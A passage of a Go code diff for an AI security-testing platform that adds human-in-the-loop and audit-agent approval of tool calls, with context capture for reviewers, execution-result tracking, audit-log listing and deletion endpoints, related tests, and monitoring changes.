+		"auditAgentPromptReviewEditCustom":  reviewEditPrompt != "",
+	})
+}
+
+// HitlAuditStrategySaver 持久化审计 Agent 提示词到 config.yaml。
+type HitlAuditStrategySaver interface {
+	UpdateHitlAuditAgentStrategy(approvalPrompt, reviewEditPrompt string) error
+}
+
+// SetHitlAuditStrategySaver 设置审计策略落盘。
+func (h *AgentHandler) SetHitlAuditStrategySaver(s HitlAuditStrategySaver) {
+	h.hitlStrategySaver = s
+}

internal/handler/hitl_audit_agent_test.go

@@ -0,0 +1,88 @@
+package handler
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestParseAuditAgentLLMContentApprove(t *testing.T) {
+	d, err := parseAuditAgentLLMContent(`{"decision":"approve","comment":"与任务一致"}`)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if d.Decision != "approve" || d.Comment != "与任务一致" {
+		t.Fatalf("unexpected %+v", d)
+	}
+}
+
+func TestParseAuditAgentLLMContentReject(t *testing.T) {
+	d, err := parseAuditAgentLLMContent("```json\n{\"decision\":\"reject\",\"comment\":\"风险过高\"}\n```")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if d.Decision != "reject" {
+		t.Fatalf("expected reject, got %s", d.Decision)
+	}
+}
+
+func TestParseAuditAgentLLMContentInvalid(t *testing.T) {
+	_, err := parseAuditAgentLLMContent(`{"decision":"maybe"}`)
+	if err == nil {
+		t.Fatal("expected error for invalid decision")
+	}
+}
+
+func TestParseAuditAgentLLMContentProseWrapped(t *testing.T) {
+	d, err := parseAuditAgentLLMContent("好的，裁决如下：\n```json\n{\"decision\":\"approve\",\"comment\":\"只读 ls\"}\n```\n以上。")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if d.Decision != "approve" {
+		t.Fatalf("expected approve, got %s", d.Decision)
+	}
+}
+
+func TestParseAuditAgentLLMContentChineseDecision(t *testing.T) {
+	d, err := parseAuditAgentLLMContent(`{"decision":"通过","comment":"风险低"}`)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if d.Decision != "approve" {
+		t.Fatalf("expected approve, got %s", d.Decision)
+	}
+}
+
+func TestParseAuditAgentLLMContentWithEditedArguments(t *testing.T) {
+	d, err := parseAuditAgentLLMContent(`{"decision":"approve","comment":"收窄路径","editedArguments":{"path":"/safe"}}`)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if d.Decision != "approve" {
+		t.Fatalf("expected approve, got %s", d.Decision)
+	}
+	if d.EditedArguments == nil || d.EditedArguments["path"] != "/safe" {
+		t.Fatalf("unexpected edited args: %+v", d.EditedArguments)
+	}
+}
+
+func TestBuildAuditAgentReviewInputIncludesMode(t *testing.T) {
+	s := buildAuditAgentReviewInput("review_edit", "execute", map[string]interface{}{
+		"arguments": `{"command":"pwd"}`,
+	})
+	if !strings.Contains(s, "review_edit") || !strings.Contains(s, "execute") {
+		t.Fatalf("unexpected input: %s", s)
+	}
+}
+
+func TestBuildAuditAgentReviewInput(t *testing.T) {
+	s := buildAuditAgentReviewInput("approval", "nmap", map[string]interface{}{
+		"arguments":   `{"target":"10.0.0.1"}`,
+		"userMessage": "扫描内网",
+	})
+	if s == "" {
+		t.Fatal("expected non-empty input")
+	}
+	if !strings.Contains(s, "nmap") || !strings.Contains(s, "10.0.0.1") || !strings.Contains(s, "扫描内网") {
+		t.Fatalf("unexpected input: %s", s)
+	}
+}

internal/handler/hitl_cognition.go

@@ -0,0 +1,97 @@
+package handler
+
+import (
+	"strings"
+)
+
+type hitlCognitionState struct {
+	AssistantMessageID string
+	UserMessage        string
+	Thinking           string
+	ReasoningChain     string
+	Planning           string
+}
+
+// GetHitlCognition 返回当前运行任务上缓存的本轮 HITL 上下文（不含会话历史）。
+func (m *AgentTaskManager) GetHitlCognition(conversationID string) hitlCognitionFields {
+	conversationID = strings.TrimSpace(conversationID)
+	if m == nil || conversationID == "" {
+		return hitlCognitionFields{}
+	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	t, ok := m.tasks[conversationID]
+	if !ok || t == nil || t.hitlCognition == nil {
+		return hitlCognitionFields{}
+	}
+	c := t.hitlCognition
+	return hitlCognitionFields{
+		UserMessage:    c.UserMessage,
+		Thinking:       c.Thinking,
+		ReasoningChain: c.ReasoningChain,
+		Planning:       c.Planning,
+	}
+}
+
+// ResetHitlCognition 新任务开始时重置本轮 HITL 上下文。
+func (m *AgentTaskManager) ResetHitlCognition(conversationID, userMessage string) {
+	conversationID = strings.TrimSpace(conversationID)
+	if m == nil || conversationID == "" {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	t, ok := m.tasks[conversationID]
+	if !ok || t == nil {
+		return
+	}
+	t.hitlCognition = &hitlCognitionState{UserMessage: strings.TrimSpace(userMessage)}
+}
+
+// SetHitlAssistantMessageID 记录当前助手消息 ID，供 HITL 与 DB 回退对齐。
+func (m *AgentTaskManager) SetHitlAssistantMessageID(conversationID, assistantMessageID string) {
+	conversationID = strings.TrimSpace(conversationID)
+	assistantMessageID = strings.TrimSpace(assistantMessageID)
+	if m == nil || conversationID == "" || assistantMessageID == "" {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	t, ok := m.tasks[conversationID]
+	if !ok || t == nil {
+		return
+	}
+	if t.hitlCognition == nil {
+		t.hitlCognition = &hitlCognitionState{}
+	}
+	t.hitlCognition.AssistantMessageID = assistantMessageID
+}
+
+// UpdateHitlCognitionSnapshot 从进行中的进度流快照更新 thinking / reasoning / planning。
+func (m *AgentTaskManager) UpdateHitlCognitionSnapshot(conversationID, assistantMessageID, thinking, reasoningChain, planning string) {
+	conversationID = strings.TrimSpace(conversationID)
+	if m == nil || conversationID == "" {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	t, ok := m.tasks[conversationID]
+	if !ok || t == nil {
+		return
+	}
+	if t.hitlCognition == nil {
+		t.hitlCognition = &hitlCognitionState{}
+	}
+	if id := strings.TrimSpace(assistantMessageID); id != "" {
+		t.hitlCognition.AssistantMessageID = id
+	}
+	if s := strings.TrimSpace(thinking); s != "" {
+		t.hitlCognition.Thinking = s
+	}
+	if s := strings.TrimSpace(reasoningChain); s != "" {
+		t.hitlCognition.ReasoningChain = s
+	}
+	if s := strings.TrimSpace(planning); s != "" {
+		t.hitlCognition.Planning = s
+	}
+}

internal/handler/hitl_context.go

@@ -0,0 +1,102 @@
+package handler
+
+import (
+	"strings"
+)
+
+const (
+	hitlPayloadUserMessage    = "userMessage"
+	hitlPayloadThinking       = "thinking"
+	hitlPayloadReasoningChain = "reasoningChain"
+	hitlPayloadPlanning       = "planning"
+)
+
+type hitlCognitionFields struct {
+	UserMessage    string
+	Thinking       string
+	ReasoningChain string
+	Planning       string
+}
+
+func (h *AgentHandler) enrichHitlApprovalPayload(conversationID, assistantMessageID string, payload map[string]interface{}) {
+	if h == nil || payload == nil {
+		return
+	}
+	cog := h.collectHitlCognition(conversationID, assistantMessageID)
+	if s := strings.TrimSpace(cog.UserMessage); s != "" {
+		payload[hitlPayloadUserMessage] = s
+	}
+	if s := strings.TrimSpace(cog.Thinking); s != "" {
+		payload[hitlPayloadThinking] = s
+	}
+	if s := strings.TrimSpace(cog.ReasoningChain); s != "" {
+		payload[hitlPayloadReasoningChain] = s
+	}
+	if s := strings.TrimSpace(cog.Planning); s != "" {
+		payload[hitlPayloadPlanning] = s
+	}
+}
+
+func (h *AgentHandler) collectHitlCognition(conversationID, assistantMessageID string) hitlCognitionFields {
+	var out hitlCognitionFields
+	if h.tasks != nil {
+		out = h.tasks.GetHitlCognition(conversationID)
+	}
+	if strings.TrimSpace(out.UserMessage) == "" && h.db != nil {
+		if msg, err := h.db.GetTurnUserMessage(conversationID, assistantMessageID); err == nil {
+			out.UserMessage = msg
+		}
+	}
+	if h.db != nil && assistantMessageID != "" {
+		dbCog, err := h.db.GetAssistantCognitionTexts(assistantMessageID)
+		if err == nil {
+			if strings.TrimSpace(out.Thinking) == "" {
+				out.Thinking = dbCog.Thinking
+			}
+			if strings.TrimSpace(out.ReasoningChain) == "" {
+				out.ReasoningChain = dbCog.ReasoningChain
+			}
+			if strings.TrimSpace(out.Planning) == "" {
+				out.Planning = dbCog.Planning
+			}
+		}
+	}
+	return out
+}
+
+func snapshotHitlCognitionFromStreams(thinkingStreams map[string]*thinkingBuf, respPlan *responsePlanAgg) (thinking, reasoningChain, planning string) {
+	if len(thinkingStreams) > 0 {
+		var thinkingParts, reasoningParts []string
+		for _, tb := range thinkingStreams {
+			if tb == nil {
+				continue
+			}
+			content := strings.TrimSpace(tb.b.String())
+			if content == "" {
+				continue
+			}
+			if tb.persistAs == "reasoning_chain" {
+				reasoningParts = append(reasoningParts, content)
+			} else {
+				thinkingParts = append(thinkingParts, content)
+			}
+		}
+		thinking = strings.Join(thinkingParts, "\n\n")
+		reasoningChain = strings.Join(reasoningParts, "\n\n")
+	}
+	if respPlan != nil {
+		planning = strings.TrimSpace(respPlan.b.String())
+	}
+	return thinking, reasoningChain, planning
+}
+
+func (h *AgentHandler) syncHitlCognitionFromProgress(conversationID, assistantMessageID string, thinkingStreams map[string]*thinkingBuf, respPlan *responsePlanAgg) {
+	if h == nil || h.tasks == nil {
+		return
+	}
+	thinking, reasoning, planning := snapshotHitlCognitionFromStreams(thinkingStreams, respPlan)
+	if thinking == "" && reasoning == "" && planning == "" {
+		return
+	}
+	h.tasks.UpdateHitlCognitionSnapshot(conversationID, assistantMessageID, thinking, reasoning, planning)
+}

internal/handler/hitl_context_test.go

@@ -0,0 +1,46 @@
+package handler
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"cyberstrike-ai/internal/database"
+
+	"go.uber.org/zap"
+)
+
+func TestEnrichHitlApprovalPayload(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "test.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatalf("db: %v", err)
+	}
+	defer os.RemoveAll(tmp)
+
+	conv, err := db.CreateConversation("hitl ctx", database.ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("conv: %v", err)
+	}
+	if _, err := db.AddMessage(conv.ID, "user", "scan 10.0.0.1 please", nil); err != nil {
+		t.Fatalf("user msg: %v", err)
+	}
+	asst, err := db.AddMessage(conv.ID, "assistant", "", nil)
+	if err != nil {
+		t.Fatalf("asst msg: %v", err)
+	}
+	if err := db.AddProcessDetail(asst.ID, conv.ID, "thinking", "need port scan first", nil); err != nil {
+		t.Fatalf("detail: %v", err)
+	}
+
+	h := &AgentHandler{db: db, tasks: NewAgentTaskManager()}
+	payload := map[string]interface{}{"toolName": "nmap", "arguments": "{}"}
+	h.enrichHitlApprovalPayload(conv.ID, asst.ID, payload)
+
+	if got := payload["userMessage"]; got != "scan 10.0.0.1 please" {
+		t.Fatalf("userMessage=%v", got)
+	}
+	if got := payload["thinking"]; got != "need port scan first" {
+		t.Fatalf("thinking=%v", got)
+	}
+}

internal/handler/hitl_execution.go

@@ -0,0 +1,132 @@
+package handler
+
+import (
+	"encoding/json"
+	"strings"
+	"time"
+)
+
+const hitlPayloadExecutionResult = "executionResult"
+
+type hitlExecutionResult struct {
+	Success    bool      `json:"success"`
+	Result     string    `json:"result,omitempty"`
+	ToolName   string    `json:"toolName,omitempty"`
+	ToolCallID string    `json:"toolCallId,omitempty"`
+	RecordedAt time.Time `json:"recordedAt"`
+}
+
+type hitlApprovedExecTrack struct {
+	InterruptID    string
+	ConversationID string
+	ToolName       string
+	ToolCallID     string
+}
+
+// TrackApprovedHitlExecution 审批通过后登记，待 tool_result 回写执行结果。
+func (m *HITLManager) TrackApprovedHitlExecution(interruptID, conversationID, toolName, toolCallID string) {
+	if m == nil {
+		return
+	}
+	interruptID = strings.TrimSpace(interruptID)
+	conversationID = strings.TrimSpace(conversationID)
+	if interruptID == "" || conversationID == "" {
+		return
+	}
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.approvedExec == nil {
+		m.approvedExec = make(map[string][]hitlApprovedExecTrack)
+	}
+	m.approvedExec[conversationID] = append(m.approvedExec[conversationID], hitlApprovedExecTrack{
+		InterruptID:    interruptID,
+		ConversationID: conversationID,
+		ToolName:       strings.TrimSpace(toolName),
+		ToolCallID:     strings.TrimSpace(toolCallID),
+	})
+}
+
+func (m *HITLManager) popApprovedInterruptForTool(conversationID, toolCallID, toolName string) string {
+	if m == nil {
+		return ""
+	}
+	conversationID = strings.TrimSpace(conversationID)
+	toolCallID = strings.TrimSpace(toolCallID)
+	toolName = strings.TrimSpace(toolName)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	queue := m.approvedExec[conversationID]
+	if len(queue) == 0 {
+		return ""
+	}
+	idx := -1
+	if toolCallID != "" {
+		for i, t := range queue {
+			if t.ToolCallID == toolCallID {
+				idx = i
+				break
+			}
+		}
+	}
+	if idx < 0 && toolName != "" {
+		for i, t := range queue {
+			if strings.EqualFold(t.ToolName, toolName) {
+				idx = i
+				break
+			}
+		}
+	}
+	if idx < 0 {
+		return ""
+	}
+	id := queue[idx].InterruptID
+	queue = append(queue[:idx], queue[idx+1:]...)
+	if len(queue) == 0 {
+		delete(m.approvedExec, conversationID)
+	} else {
+		m.approvedExec[conversationID] = queue
+	}
+	return id
+}
+
+func mergeHitlPayloadExecutionResult(payloadJSON string, exec hitlExecutionResult) (string, error) {
+	root := make(map[string]interface{})
+	if strings.TrimSpace(payloadJSON) != "" {
+		_ = json.Unmarshal([]byte(payloadJSON), &root)
+	}
+	if root == nil {
+		root = make(map[string]interface{})
+	}
+	root[hitlPayloadExecutionResult] = exec
+	out, err := json.Marshal(root)
+	if err != nil {
+		return payloadJSON, err
+	}
+	return string(out), nil
+}
+
+func (h *AgentHandler) recordHitlToolExecutionResult(conversationID, toolCallID, toolName string, success bool, result string) {
+	if h == nil || h.hitlManager == nil || h.db == nil {
+		return
+	}
+	interruptID := h.hitlManager.popApprovedInterruptForTool(conversationID, toolCallID, toolName)
+	if interruptID == "" {
+		return
+	}
+	var payloadJSON string
+	err := h.db.QueryRow(`SELECT payload FROM hitl_interrupts WHERE id = ?`, interruptID).Scan(&payloadJSON)
+	if err != nil {
+		return
+	}
+	merged, err := mergeHitlPayloadExecutionResult(payloadJSON, hitlExecutionResult{
+		Success:    success,
+		Result:     strings.TrimSpace(result),
+		ToolName:   strings.TrimSpace(toolName),
+		ToolCallID: strings.TrimSpace(toolCallID),
+		RecordedAt: time.Now(),
+	})
+	if err != nil {
+		return
+	}
+	_, _ = h.db.Exec(`UPDATE hitl_interrupts SET payload = ? WHERE id = ?`, merged, interruptID)
+}

internal/handler/hitl_execution_test.go

@@ -0,0 +1,39 @@
+package handler
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+func TestMergeHitlPayloadExecutionResult(t *testing.T) {
+	merged, err := mergeHitlPayloadExecutionResult(`{"userMessage":"hi","toolName":"nmap"}`, hitlExecutionResult{
+		Success: true,
+		Result:  "open ports: 80",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	var root map[string]interface{}
+	if err := json.Unmarshal([]byte(merged), &root); err != nil {
+		t.Fatal(err)
+	}
+	if root["userMessage"] != "hi" {
+		t.Fatalf("userMessage lost: %v", root["userMessage"])
+	}
+	exec, ok := root["executionResult"].(map[string]interface{})
+	if !ok || exec["success"] != true {
+		t.Fatalf("executionResult missing: %v", root["executionResult"])
+	}
+}
+
+func TestPopApprovedInterruptForTool(t *testing.T) {
+	m := NewHITLManager(nil, nil)
+	m.TrackApprovedHitlExecution("hitl_a", "conv1", "nmap", "tc1")
+	m.TrackApprovedHitlExecution("hitl_b", "conv1", "exec", "")
+	if id := m.popApprovedInterruptForTool("conv1", "tc1", "nmap"); id != "hitl_a" {
+		t.Fatalf("tc1 match=%q", id)
+	}
+	if id := m.popApprovedInterruptForTool("conv1", "", "exec"); id != "hitl_b" {
+		t.Fatalf("tool name match=%q", id)
+	}
+}

internal/handler/hitl_logs.go

@@ -0,0 +1,263 @@
+package handler
+
+import (
+	"database/sql"
+	"errors"
+	"math"
+	"net/http"
+	"strconv"
+	"strings"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"github.com/gin-gonic/gin"
+)
+
+func normalizeHitlReviewer(v string) string {
+	switch strings.ToLower(strings.TrimSpace(v)) {
+	case "audit_agent", "agent", "ai":
+		return "audit_agent"
+	default:
+		return "human"
+	}
+}
+
+func normalizeHitlDecidedBy(v string) string {
+	switch strings.ToLower(strings.TrimSpace(v)) {
+	case "audit_agent", "agent", "ai":
+		return "audit_agent"
+	case "system", "timeout":
+		return "system"
+	case "manual":
+		return "manual"
+	default:
+		return "human"
+	}
+}
+
+func (m *HITLManager) migrateHitlSchemaColumns() {
+	_, _ = m.db.Exec(`ALTER TABLE hitl_interrupts ADD COLUMN decided_by TEXT NOT NULL DEFAULT 'human'`)
+	_, _ = m.db.Exec(`ALTER TABLE hitl_conversation_configs ADD COLUMN reviewer TEXT NOT NULL DEFAULT 'human'`)
+}
+
+func hitlInterruptRowToMap(
+	id, cid, mode, toolName, toolCallID, payload, rowStatus, decidedBy string,
+	messageID sql.NullString,
+	decision, comment sql.NullString,
+	createdAt time.Time,
+	decidedAt sql.NullTime,
+) map[string]interface{} {
+	msgID := ""
+	if messageID.Valid {
+		msgID = messageID.String
+	}
+	return map[string]interface{}{
+		"id":             id,
+		"conversationId": cid,
+		"messageId":      msgID,
+		"mode":           mode,
+		"toolName":       toolName,
+		"toolCallId":     toolCallID,
+		"payload":        payload,
+		"status":         rowStatus,
+		"decision":       decision.String,
+		"comment":        comment.String,
+		"decidedBy":      decidedBy,
+		"createdAt":      createdAt,
+		"decidedAt": func() interface{} {
+			if decidedAt.Valid {
+				return decidedAt.Time
+			}
+			return nil
+		}(),
+	}
+}
+
+func (h *AgentHandler) buildHitlListQuery(logs bool) (string, []interface{}) {
+	where, args := h.buildHitlLogsWhere(logs)
+	q := `SELECT id, conversation_id, message_id, mode, tool_name, tool_call_id, payload, status, decision, decision_comment, COALESCE(decided_by,'human'), created_at, decided_at FROM hitl_interrupts` + where
+	return q, args
+}
+
+func (h *AgentHandler) buildHitlLogsWhere(logs bool) (string, []interface{}) {
+	q := " WHERE 1=1"
+	args := []interface{}{}
+	if logs {
+		q += " AND status != 'pending'"
+	} else {
+		q += " AND status = 'pending'"
+	}
+	return q, args
+}
+
+func (h *AgentHandler) appendHitlListFilters(q string, args []interface{}, c *gin.Context) (string, []interface{}) {
+	conversationID := strings.TrimSpace(c.Query("conversationId"))
+	toolName := strings.TrimSpace(c.Query("toolName"))
+	decision := strings.TrimSpace(c.Query("decision"))
+	decidedBy := strings.TrimSpace(c.Query("decidedBy"))
+	status := strings.TrimSpace(c.Query("status"))
+	search := strings.TrimSpace(c.Query("q"))
+
+	if conversationID != "" {
+		q += " AND conversation_id = ?"
+		args = append(args, conversationID)
+	}
+	if toolName != "" {
+		q += " AND tool_name LIKE ?"
+		args = append(args, "%"+toolName+"%")
+	}
+	if decision != "" && decision != "all" {
+		q += " AND decision = ?"
+		args = append(args, decision)
+	}
+	if decidedBy != "" && decidedBy != "all" {
+		q += " AND COALESCE(decided_by,'human') = ?"
+		args = append(args, normalizeHitlDecidedBy(decidedBy))
+	}
+	if status != "" && status != "all" {
+		q += " AND status = ?"
+		args = append(args, status)
+	}
+	if search != "" {
+		like := "%" + search + "%"
+		q += " AND (id LIKE ? OR conversation_id LIKE ? OR tool_name LIKE ? OR payload LIKE ? OR COALESCE(decision_comment,'') LIKE ?)"
+		args = append(args, like, like, like, like, like)
+	}
+	return q, args
+}
+
+func (h *AgentHandler) scanHitlInterruptRows(rows *sql.Rows) ([]map[string]interface{}, error) {
+	items := make([]map[string]interface{}, 0)
+	for rows.Next() {
+		var id, cid, mode, toolName, toolCallID, payload, rowStatus, decidedBy string
+		var messageID sql.NullString
+		var decision, comment sql.NullString
+		var createdAt time.Time
+		var decidedAt sql.NullTime
+		if err := rows.Scan(&id, &cid, &messageID, &mode, &toolName, &toolCallID, &payload, &rowStatus, &decision, &comment, &decidedBy, &createdAt, &decidedAt); err != nil {
+			continue
+		}
+		items = append(items, hitlInterruptRowToMap(id, cid, mode, toolName, toolCallID, payload, rowStatus, decidedBy, messageID, decision, comment, createdAt, decidedAt))
+	}
+	return items, nil
+}
+
+func (h *AgentHandler) countHitlQuery(baseQ string, args []interface{}) (int, error) {
+	countQ := "SELECT COUNT(*) FROM (" + baseQ + ") AS hitl_cnt"
+	var total int
+	if err := h.db.QueryRow(countQ, args...).Scan(&total); err != nil {
+		return 0, err
+	}
+	return total, nil
+}
+
+func (h *AgentHandler) ListHITLLogs(c *gin.Context) {
+	page, _ := strconv.Atoi(c.DefaultQuery("page", "1"))
+	if page < 1 {
+		page = 1
+	}
+	pageSize, _ := strconv.Atoi(c.DefaultQuery("pageSize", "20"))
+	pageSize = int(math.Max(1, math.Min(float64(pageSize), 200)))
+	offset := (page - 1) * pageSize
+
+	q, args := h.buildHitlListQuery(true)
+	q, args = h.appendHitlListFilters(q, args, c)
+	total, err := h.countHitlQuery(q, args)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	q += " ORDER BY COALESCE(decided_at, created_at) DESC LIMIT ? OFFSET ?"
+	args = append(args, pageSize, offset)
+	rows, err := h.db.Query(q, args...)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	defer rows.Close()
+	items, err := h.scanHitlInterruptRows(rows)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"items": items, "page": page, "pageSize": pageSize, "total": total, "retentionDays": h.hitlRetentionDays()})
+}
+
+func (h *AgentHandler) hitlRetentionDays() int {
+	if h.config != nil {
+		return h.config.Hitl.RetentionDaysEffective()
+	}
+	return config.HitlConfig{}.RetentionDaysEffective()
+}
+
+// DeleteHITLLogs 批量删除或按筛选清空已决策的人机协同审计日志（不删除 pending）。
+func (h *AgentHandler) DeleteHITLLogs(c *gin.Context) {
+	var request struct {
+		IDs []string `json:"ids"`
+		All bool     `json:"all"`
+	}
+	if err := c.ShouldBindJSON(&request); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "请求参数无效: " + err.Error()})
+		return
+	}
+
+	var deleted int64
+	var err error
+	if request.All {
+		where, args := h.buildHitlLogsWhere(true)
+		where, args = h.appendHitlListFilters(where, args, c)
+		deleted, err = h.db.DeleteHitlInterruptLogsMatching(where, args)
+		if err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+		if h.audit != nil {
+			h.audit.RecordOK(c, "hitl", "logs_clear", "清空人机协同审计日志", "hitl_interrupt", "", map[string]interface{}{
+				"deleted": deleted,
+			})
+		}
+	} else {
+		if len(request.IDs) == 0 {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "审计日志 ID 列表不能为空"})
+			return
+		}
+		deleted, err = h.db.DeleteHitlInterruptLogsByIDs(request.IDs)
+		if err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+		if h.audit != nil {
+			h.audit.RecordOK(c, "hitl", "logs_delete_batch", "批量删除人机协同审计日志", "hitl_interrupt", "", map[string]interface{}{
+				"count":   len(request.IDs),
+				"deleted": deleted,
+			})
+		}
+	}
+
+	c.JSON(http.StatusOK, gin.H{"message": "删除成功", "deleted": deleted})
+}
+
+func (h *AgentHandler) GetHITLLog(c *gin.Context) {
+	id := strings.TrimSpace(c.Param("id"))
+	if id == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+	q := `SELECT id, conversation_id, message_id, mode, tool_name, tool_call_id, payload, status, decision, decision_comment, COALESCE(decided_by,'human'), created_at, decided_at FROM hitl_interrupts WHERE id = ?`
+	var rowID, cid, mode, toolName, toolCallID, payload, rowStatus, decidedBy string
+	var messageID sql.NullString
+	var decision, comment sql.NullString
+	var createdAt time.Time
+	var decidedAt sql.NullTime
+	err := h.db.QueryRow(q, id).Scan(&rowID, &cid, &messageID, &mode, &toolName, &toolCallID, &payload, &rowStatus, &decision, &comment, &decidedBy, &createdAt, &decidedAt)
+	if errors.Is(err, sql.ErrNoRows) {
+		c.JSON(http.StatusNotFound, gin.H{"error": "not found"})
+		return
+	}
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, hitlInterruptRowToMap(rowID, cid, mode, toolName, toolCallID, payload, rowStatus, decidedBy, messageID, decision, comment, createdAt, decidedAt))
+}

internal/handler/monitor.go

@@ -5,13 +5,16 @@ import (
 	"errors"
 	"io"
 	"net/http"
+	"sort"
 	"strconv"
 	"strings"
 	"time"
 
 	"cyberstrike-ai/internal/audit"
+	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/mcp"
+	"cyberstrike-ai/internal/monitor"
 	"cyberstrike-ai/internal/security"
 	"github.com/gin-gonic/gin"
 	"go.uber.org/zap"
@@ -19,12 +22,20 @@ import (
 
 // MonitorHandler 监控处理器
 type MonitorHandler struct {
-	mcpServer      *mcp.Server
-	externalMCPMgr *mcp.ExternalMCPManager
-	executor       *security.Executor
-	db             *database.DB
-	logger         *zap.Logger
-	audit          *audit.Service
+	mcpServer        *mcp.Server
+	externalMCPMgr   *mcp.ExternalMCPManager
+	taskManager      *AgentTaskManager
+	agentHandler     *AgentHandler
+	executor         *security.Executor
+	db               *database.DB
+	logger           *zap.Logger
+	audit            *audit.Service
+	monitorRetention *monitor.Service
+}
+
+// SetMonitorRetention wires MCP execution retention settings.
+func (h *MonitorHandler) SetMonitorRetention(s *monitor.Service) {
+	h.monitorRetention = s
 }
 
 // SetAudit wires platform audit logging.
@@ -48,15 +59,44 @@ func (h *MonitorHandler) SetExternalMCPManager(mgr *mcp.ExternalMCPManager) {
 	h.externalMCPMgr = mgr
 }
 
+// SetTaskManager 设置 Agent 任务管理器（用于 Eino execute 等按 executionId 终止）。
+func (h *MonitorHandler) SetTaskManager(mgr *AgentTaskManager) {
+	h.taskManager = mgr
+}
+
+// SetAgentHandler 设置 Agent 处理器（MCP 监控终止与对话页「中断并继续」共用逻辑）。
+func (h *MonitorHandler) SetAgentHandler(ah *AgentHandler) {
+	h.agentHandler = ah
+}
+
+const monitorPageTopTools = 6
+
+// MonitorStatsSummary 工具调用汇总
+type MonitorStatsSummary struct {
+	TotalCalls   int        `json:"totalCalls"`
+	SuccessCalls int        `json:"successCalls"`
+	FailedCalls  int        `json:"failedCalls"`
+	LastCallTime *time.Time `json:"lastCallTime,omitempty"`
+	ToolCount    int        `json:"toolCount"`
+}
+
 // MonitorResponse 监控响应
 type MonitorResponse struct {
-	Executions []*mcp.ToolExecution      `json:"executions"`
-	Stats      map[string]*mcp.ToolStats `json:"stats"`
-	Timestamp  time.Time                 `json:"timestamp"`
-	Total      int                       `json:"total,omitempty"`
-	Page       int                       `json:"page,omitempty"`
-	PageSize   int                       `json:"page_size,omitempty"`
-	TotalPages int                       `json:"total_pages,omitempty"`
+	Executions    []*mcp.ToolExecution `json:"executions"`
+	Summary       *MonitorStatsSummary `json:"summary"`
+	TopTools      []*mcp.ToolStats     `json:"topTools"`
+	Timestamp     time.Time            `json:"timestamp"`
+	Total         int                  `json:"total"`
+	Page          int                  `json:"page"`
+	PageSize      int                  `json:"pageSize"`
+	TotalPages    int                  `json:"totalPages"`
+	RetentionDays int                  `json:"retentionDays"`
+}
+
+// StatsResponse 统计信息响应（Dashboard 等）
+type StatsResponse struct {
+	Summary  *MonitorStatsSummary `json:"summary"`
+	TopTools []*mcp.ToolStats     `json:"topTools"`
 }
 
 // Monitor 获取监控信息
@@ -77,11 +117,12 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
 
 	// 解析状态筛选参数
 	status := c.Query("status")
-	// 解析工具筛选参数
-	toolName := c.Query("tool")
+	// 解析工具筛选参数（兼容 mcp__tool 与内部 mcp::tool）
+	toolName := normalizeToolNameFilter(c.Query("tool"))
 
-	executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
-	stats := h.loadStats()
+	executions, total := h.loadExecutionListWithPagination(page, pageSize, status, toolName)
+	h.enrichExecutionsConversationID(executions)
+	summary, topTools := h.loadStatsSummary(monitorPageTopTools)
 
 	totalPages := (total + pageSize - 1) / pageSize
 	if totalPages == 0 {
@@ -89,21 +130,136 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
 	}
 
 	c.JSON(http.StatusOK, MonitorResponse{
-		Executions: executions,
-		Stats:      stats,
-		Timestamp:  time.Now(),
-		Total:      total,
-		Page:       page,
-		PageSize:   pageSize,
-		TotalPages: totalPages,
+		Executions:    executions,
+		Summary:       summary,
+		TopTools:      topTools,
+		Timestamp:     time.Now(),
+		Total:         total,
+		Page:          page,
+		PageSize:      pageSize,
+		TotalPages:    totalPages,
+		RetentionDays: h.monitorRetentionDays(),
 	})
 }
 
+func (h *MonitorHandler) monitorRetentionDays() int {
+	if h.monitorRetention != nil {
+		return h.monitorRetention.RetentionDays()
+	}
+	return config.MonitorConfig{}.RetentionDaysEffective()
+}
+
 func (h *MonitorHandler) loadExecutions() []*mcp.ToolExecution {
 	executions, _ := h.loadExecutionsWithPagination(1, 1000, "", "")
 	return executions
 }
 
+func (h *MonitorHandler) loadExecutionListWithPagination(page, pageSize int, status, toolName string) ([]*mcp.ToolExecution, int) {
+	if h.db == nil {
+		allExecutions := h.mcpServer.GetAllExecutions()
+		if status != "" || toolName != "" {
+			filtered := make([]*mcp.ToolExecution, 0)
+			for _, exec := range allExecutions {
+				matchStatus := status == "" || exec.Status == status
